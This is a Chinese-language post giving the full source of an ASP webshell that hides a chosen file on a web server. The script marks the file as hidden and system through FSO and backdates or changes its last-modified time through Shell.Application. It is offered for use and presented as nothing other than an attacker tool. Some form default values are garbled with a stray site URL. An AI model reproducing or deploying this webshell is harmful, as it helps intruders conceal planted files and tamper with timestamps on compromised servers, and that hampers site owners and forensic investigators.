隐藏并修改文件的最后修改时间的asp-webshell

源码：
代码如下:
<%
''隐藏并修改文件的最后修改时间的aspshell
''原理:通过FSO可以修改文件的属性，比如设置为只读，隐藏，系统等等；FSO中的attributes属性修改文件属性，1只读，2隐藏，4系统文件
'' 通过shell.application可以给文件重新设置一个最后修改时间
''2009/02/24 write by skyfire
response.write "<form method=post>"
response.write "路 径：<input name=path value=''"&server.mappath("/")&"'' size=''30''>(一定要以\结尾)<br />"
response.write "文件名称：<input name=filename value=''http://www.popasp.com/test.txt'' size=''30''><br />"
response.write "修改时间：<input name=time value=''http://www.popasp.com/12/30/2099 12:30:30'' size=''30''><br />"
response.write "<input type=submit value=http://www.popasp.com/修改并隐藏文件>"
response.write "</form>"
''获取提交的参数
set path=request.Form("path")
set fileName=request.Form("filename")
set newTime=request.Form("time")
if( (len(path)>0)and(len(fileName)>0)and(len(newTime)>0) )then
''通过fso设置文件属性
Set fso=Server.CreateObject("Scripting.FileSystemObject")
Set file=fso.getFile(path&fileName)
file.attributes=2+4 ''设置文件属性为隐藏+系统
''通过shell.Application修改文件的最后修改时间
Set shell=Server.CreateObject("Shell.Application")
Set app_path=shell.NameSpace(server.mappath("."))
Set app_file=app_path.ParseName(fileName)
app_file.Modifydate=newTime
end if
%>